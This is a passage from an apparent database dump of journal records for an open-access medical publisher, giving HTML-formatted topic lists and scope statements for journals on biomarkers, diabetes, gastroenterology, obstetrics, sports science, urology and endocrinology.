Biomarkers</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Phenotypic Markers</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Static Biomarkers</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Microbial Biomarkers</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Geomarkers</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Environmental Biomarkers</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Ecotoxicological Biomarkers</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Biomarkers of exposure assessment</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Biomarker Medicine</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Oxidative Stress Biomarkers</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Pathology Diagnosis</span></li>\r\n	<li><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"color:black\">Proteomics</span></span></li>\r\n	<li><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"color:black\">Prognostic Markers</span></span></li>\r\n	<li><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"color:black\">Predictive Biomarkers</span></span></li>\r\n	<li><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"color:black\">Tumor Biomarkers</span></span></li>\r\n	<li><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"color:black\">Salivary Biomarkers</span></span></li>\r\n	<li><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"color:black\">Serum Biomarkers</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"color:black\">Biomarkers in Clinical Trails</span></span></li>\r\n</ul>\r\n','<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:#00b050\">Journal of Biomarker Research and Studies</span></strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal Outline</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:black\">Journal of Biomarker Research and Studies (JBRS)</span></strong><strong> </strong><span style=\"color:black\">is a<strong> </strong>multidisciplinary an international electronic journal encompasses all aspects of biomarker investigation with research and studies. The journal focussed with vital forum for the exchange of ideas and concepts in all areas of biomarker research involved with identification and validation of biomarkers in drug discovery/development and in disease diagnosis, treatment, prognosis, and prevention play an essential role in the genome era by widening research application of biomarkers towards</span> <span style=\"color:black\">personalized medicine and individual health.</span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Scope</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:black\">Journal of Biomarker Research and Studies (JBRS)</span></strong><strong> </strong><span style=\"color:black\">is an online open access </span>peer-reviewed <span style=\"color:black\">scholarly journal, encompassing all aspects of biomarkers applications in research. Biomarkers&rsquo; is evaluated as an indicator of normal biological, pathogenic processes or pharmacological responses to a therapeutic intervention and these are the measures used to perform a clinical assessment such as blood pressure or cholesterol level which are used to monitor and predict health states in individuals.</span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">JBRS aims to publish original discoveries, novel concepts, commentaries and reviews related to biomarker investigation from all biomedical disciplines.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The Journal centres upon the new biomarkers being invented day by day and its related research that would bring about new pathways for a healthier survival.</span></p>\r\n','<p>Coming Soon</p>',1,'2018-07-01 14:11:08','2018-10-04 22:20:29',1),(28,20,'1530434877.jpg','Journal of Diabetes Management and Metabolism (JDMM)','Diabetes Management and Metabolism','Journal of Diabetes Management and Metabolism (JDMM)','Journal of Diabetes Management and Metabolism','Journal-of-Diabetes-Management-and-Metabolism','Journal of Diabetes Management and Metabolism','Journal of Diabetes Management and Metabolism (JDMM)','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Coverage Topics</strong></span></p>\r\n\r\n<ul>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Advanced Type 1 Diabetes Treatment</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Advanced Type 2 Diabetes Treatment</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Advances of Diabetes Cure</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Childhood Diabetes</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Complications of Hyperglycemia</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Complications of Hypoglycemia</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Diabetes and Alcohol</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Diabetes and Weight Loss</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Diabetes Cholestrol</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Diabetes Lipid Metabolism</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Diabetes Statistics</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Pathophysiology of Diabetes</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Reverse Diabetes</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Biochemistry of Diabetes</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Cell Therapy for Diabetes</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Diabetes Management</span></li>\r\n</ul>\r\n','<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:#00b050\">Journal of Diabetes Management and Metabolism</span></strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal Outline</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal of Diabetes Management and Metabolism (JDMM) </strong>is an electronic and global online interdisciplinary journal devoted towards publications of data on diabetes research, therapeutics, and education. The journal remains as a source of information usable by diabetes practitioners and researchers to increase their knowledge about mechanisms of diabetes and complications development, and promote better management of people with diabetes who are at risk for those complications and in order to manage the disorder.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Scope</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal of Diabetes Management and Metabolism (JDMM)</strong> is an online Open Access Journal which aims to publish Scholarly Articles featuring current research in diabetes.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The articles encompassing diabetes highlight symptoms, causes, pathophysiology, diagnosis, treatment and prevention of diabetes and the study of new techniques in the field of diabetic research like organ transplantation, tissue regeneration and therapeutic innovations. The articles cover insulin dependent diabetes, insulin independent diabetes, insulin metabolism. It also enlists latest research conducted in the field of various diabetes related complications like diabetic retinopathy and diabetic neuropathy.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">JDMM covers research, reviews, case reports, case studies, case descriptions, short communication, and letter to editor, short articles, also encourages unconventional research areas like naturopathy, ayurveda and homeopathy for diabetes management, if the research is scientifically validated and results are statistically significant. All manuscripts are peer-reviewed by experts in the field of Diabetes that improves the quality of the manuscript.</span></p>\r\n','<p>Coming Soon</p>',1,'2018-07-01 14:17:56','2019-01-27 11:42:01',1),(29,20,'1530448294.jpg','Journal of Gastroenterology and Digestive Disorders','Gastroenterology and Digestive Disorders','Journal-of-Gastroenterology-and-Digestive-Disorders','Journal-of-Gastroenterology-and-Digestive-Disorders','Journal-of-Gastroenterology-and-Digestive-Disorders','Journal-of-Gastroenterology-and-Digestive-Disorders','Journal-of-Gastroenterology-and-Digestive-Disorders','<p><strong>Coverage Topics</strong></p>\r\n\r\n<ul>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Constipation</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Digestive Enzymes</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Endoscopy</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Epigastric Pain</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Gall Bladder</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Gastric Cancer</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Gastrointestinal Bleeding</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Gastrointestinal Hormones</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Gastrointestinal Infections</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Gastrointestinal Inflammation</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Gastrointestinal Pathology</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Gastrointestinal Pharmacology</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Gastrointestinal Radiology</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Gastrointestinal Surgery</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Gastrointestinal Tuberculosis</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">GIST Sarcoma</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Intestinal Blockage</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Pancreas</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Salivary Glands</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Stomach Bloating</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Stomach Cramps</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Stomach Disorders</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Stomach Ulcer and Esophageal Varices</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Gallbladder Cancer</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Gallstones</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Gastritis</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Hirschsprungs Disease</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Intestinal Ischemia</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Intestinal Obstruction</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Mesenteric Ischemia</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Nonulcer Stomach Pain</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Peptic Ulcer</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Peritonitis</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Viral Gastroenteritis</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Esophageal Disease</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Celiac Disease</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Colon Disease</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Inflammatory Bowel Disease</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Appendicitis Symptoms</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Diverticulitis Symptoms</span></li>\r\n</ul>\r\n','<p><strong>Journal of Gastroenterology and Digestive Disorders (JGDD)</strong>&nbsp;is an international fully open access, online journal, covering all areas related to clinical gastroenterology, including studies of the alimentary tract, liver, biliary, pancreas, enteral nutrition and related fields. The journal dedicated to publishing high-quality medical research from all disciplines and therapeutic areas of gastrointestinal sciences.</p>\r\n\r\n<p>Journal of Gastroenterology and Digestive Disorders (JGDD) encourages gastroenterologists and hepatologists worldwide to submit manuscripts to the journal describing their original basic or clinical research findings that are of high academic value and which report new diagnostic techniques or summarize their treatment experiences. JGDD also bridges the gap between basic and clinical science by publishing comprehensive reviews and perspectives on important topics such as pancreatitis and liver disease. The journal publishes all research study types, from study protocols to phase I trials to meta-analyses, including small or specialist studies.</p>\r\n','<p>Coming Soon</p>',1,'2018-07-01 18:01:34','2018-10-04 22:23:47',1),(30,20,'1530448583.jpg','Journal of Obstetrics and Gynecological Problems','Obstetrics and Gynecological','Journal-of-Obstetrics-and-Gynecological-Problems','Journal-of-Obstetrics-and-Gynecological-Problems','Journal-of-Obstetrics-and-Gynecological-Problems','Journal-of-Obstetrics-and-Gynecological-Problems','Journal-of-Obstetrics-and-Gynecological-Problems','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Coverage Topics</strong></span></p>\r\n\r\n<ul>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Abdominal Imaging</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Gynaecological Oncology</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Infertility</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Maternal-Fetal Medicine</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Midwifery</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Pelvic Foor Rehabilitation</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Pelvic Pain</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Reproductive Endocrinology and Infertility</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Urinary Continence</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Urogynaecology and Pelvic Reconstructive Surgery</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Abortion Pill</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Birth Control Methods</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Cesarean Delivery</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Corpus Luteum</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Endometrial Cancer</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Endometriosis</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Fallopian Tubes</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Gynecology</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Hysterectomy</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Menopause Symptoms</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Menstrual Cycle</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Obstetrics</span></li>\r\n</ul>\r\n','<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:#00b050\">Journal of Obstetrics and Gynecological Problems</span></strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal Outline</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal of Obstetrics and Gynecological Problems (JOGP)</strong> a peer reviewed, scholarly based international journal intending to encompass its publications for enhancing latest information on full spectrum of Obstetrics and Gynecology with studies on the biology of reproduction, and content which provides insight into the physiology and mechanisms of obstetrical and gynecological diseases with prime objective for women&#39;s health care.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Scope</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal of Obstetrics and Gynecological Problems (JOGP)</strong> is an open access, online publishing, medical journal that covers the full spectrum in diagnosis, treatment, prediction and prevention of obstetrical and gynecological disorders.<br />\r\nThe journal publishes original research articles, review articles, and clinical studies related to obstetrics, maternal-fetal medicine, general gynecology, gynecologic oncology, uro-gynecology, reproductive medicine and infertility, reproductive endocrinology, and sexual medicine.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">JOGP is peer-reviewed journals that include original research articles, review papers, opinions, short communications, letter to editors, editorials on a broad range of subjects related to female reproductive system, pregnancy, child birth. The Journal also publishes work on the biology of reproduction, and content which provides insight into the physiology and mechanisms of obstetrical and gynecological diseases.</span></p>\r\n','<p>Coming Soon</p>',1,'2018-07-01 18:06:22','2018-07-25 10:35:04',1),(31,20,'1530450500.jpg','Journal of Sports Science and Physical Therapy','Sports Science and Physical Therapy','Journal of Sports Science and Physical Therapy','Journal-of-Sports-Science-and-Physical-Therapy','Journal-of-Sports-Science-and-Physical-Therapy','Journal-of-Sports-Science-and-Physical-Therapy','Journal-of-Sports-Science-and-Physical-Therapy','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Coverage Topics</strong></span></p>\r\n\r\n<ul>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Sport Medicine </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Sport and Exercise Physiology </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Public Health promotion</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Sport and Exercise Biochemistry and Nutrition</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Sport and Exercise Psychology </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Motor Behaviour </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Coaching</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Physical Education</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Traditional Sports and Wellbeing</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Biomechanics</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Biokinetics</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Sport Injuries</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Doping Tests</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Sports Communication</span></li>\r\n</ul>\r\n','<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:#00b050\">Journal of Sports Science and Physical Therapy</span></strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal Outline</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal of Sports Science and Physical Therapy (JSSPT) </strong>is a scholarly based electronic international journal framed to blend Sports Science and Physical Therapy with emphasis on current information on developments in the field sport injuries &amp; medicine, physical activity, sport and exercise, biomechanics, kinesiology and combating sports accidental havocs. The journal broadens its framework for orthopaedic surgeons specializing in sports medicine, and to team physicians, athletic trainers, and physical therapists focusing on the causes and effects of injury or disease resulting from or affected by athletic injury for sharing and discussing their latest information and experiences on it.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Scope</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal of Sports Science and Physical Therapy (JSSPT) </strong>is an Open Access online journal publishes research articles, reviews, letters in all areas of sports sciences, such as sports medicine and sciences the management of sports injuries; all clinical aspects of exercise, health, and sport, exercise physiology and biophysical investigation of sports performance, sport biomechanics, sports nutrition, sports psychology, and medical and scientific support of the sports coach.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The emphasis of the Journal is on the human sciences, broadly defined, and applied to physical activity, sport and exercise. Topics covered also include design of analysis systems, sports equipment, research into training, and modelling and predicting performance.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">This is a peer reviewed journal, is an important and reliable source of current information on developments in the sport/exercise/health sciences field.</span></p>\r\n','<p>Coming Soon</p>',1,'2018-07-01 18:34:26','2018-07-25 10:39:19',1),(32,20,'1530450766.jpg','Journal of Urology and Renal Problems','Urology and Renal Problems','Journal-of-Urology-and-Renal-Problems','Journal-of-Urology-and-Renal-Problems','Journal-of-Urology-and-Renal-Problems','Journal-of-Urology-and-Renal-Problems','Journal-of-Urology-and-Renal-Problems','<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Coverage Topics</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Manuscripts are highly encouraged to be submitted topics mentioned with:</span></p>\r\n\r\n<ul>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Andrology and male infertility</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Cellular and Molecular Urology</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Endourology</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Female urology</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Genitourinary disorders</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Laparoscopic urology</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Male infertility</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Neurourology</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Onconephrology</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Pediatric urology</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Reconstructive urology</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Renal transplantation</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Renal replacement therapy and medications</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Renal disorders, diabetes and hypertension</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Urologic oncology</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Urologic survey and history</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Vasectomy and surgical techniques</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Sexual medicine and its effect</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Voiding dysfunction</span></li>\r\n</ul>\r\n','<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:#00b050\">Journal of Urology and Renal Problems</span></strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal Outline</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal of Urology and Renal Problems (JURP) </strong>is an online publishing, open accessible scholarly journal which improvises on practical information that reflects the latest diagnostic and treatment techniques on modern urology and renal problems. The journal publishes articles by peer reviewing procedure relating to adult and pediatric clinical urology as well as to clinical and basic science research in nephrology and renal problems framing a forum physicians and researchers practicing the art of urology worldwide.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Scope</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Journal of Urology and Renal Problems (JURP) brings solid coverage of the clinically relevant content needed to stay at the forefront of the dynamic field of urology and nephrology. This journal presents investigative studies on critical areas of research and practice, survey articles providing short condensations of the best and most important urology literature worldwide, and practice-oriented reports on significant clinical observations. To provide an exceptional source of current and clinically relevant research in the discipline of urology, to reflect the scientific work and progress of our colleagues, and to present the articles in a logical, timely, and concise format that meets the diverse needs of today&rsquo;s urologist and nephrologists articles are published as original articles, reviews, case reports, commentary, communication, letters to editor, surgical techniques report, Image article, Critical case study etc.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The journal being free access for its readers tries to provide all its published articles in pdf/html text which are easily downloadable.</span></p>\r\n','<p>Coming Soon</p>',1,'2018-07-01 18:42:46','2018-07-20 00:10:01',1),(33,20,'1530451050.jpg','Open Access Journal of Endocrinology Disorders','Endocrinology Disorders','Open-Access-Journal-of-Endocrinology-Disorders','Open-Access-Journal-of-Endocrinology-Disorders','Open-Access-Journal-of-Endocrinology-Disorders','Open-Access-Journal-of-Endocrinology-Disorders','Open-Access-Journal-of-Endocrinology-Disorders','<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Coverage Topics</strong></span></p>\r\n\r\n<ul>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Addison&#39;s Disease</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Adrenal Cancer</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Acromegaly</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Adrenal Insufficiency and Addison&#39;s Disease</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Cushing&#39;s Syndrome</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Cystic Fibrosis</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Diabetes mellitus</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Graves&#39; Disease</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Hyperlipidemia</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Hashimoto&#39;s Disease</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Human Growth Hormone and Creutzfeldt-Jakob Disease</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Hyperthyroidism (Overactive Thyroid)</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Hypothyroidism (Underactive Thyroid)</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Multiple Endocrine Neoplasia Type 1</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Osteoporosis</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Obesity</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Polycystic Ovary Syndrome (PCOS)</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Pregnancy and Thyroid Disease</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Primary Hyperparathyroidism</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Prolactinoma</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Thyroid Tests</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Turner Syndrome</span></li>\r\n</ul>\r\n','<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:#00b050\">Open Access Journal of Endocrinology Disorders</span></strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal Outline</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Open Access Journal of Endocrinology Disorders (OAJED) </strong>is a peer-reviewed, open access electronic, international based journal publishes articles in all aspects of the prevention, diagnosis and management of endocrine disorders, as well as related molecular genetics, pathophysiology, and epidemiology that can result in numerous disorders, including diabetes, obesity, thyroid disorders, osteoporosis and hormone malfunction.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Scope</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The journal is scientific in approach and scholarly based as it encourages endocrinologist and medical associates to set forum to exchange views related to endocrinology disorders and metabolic malfunctions recent findings. OAJED accepts original research articles, review articles, case reports, mini reviews, rapid communication, opinions and editorials on all related aspects of diseases associated with endocrine system and metabolic malfunctions.</span></p>\r\n','<p>Coming Soon</p>',1,'2018-07-01 18:47:30','2018-07-20 00:12:38',1),(34,20,'1531035563.jpg','Journal of Surgery and Insights',' Surgery and Insights','Journal of Surgery and 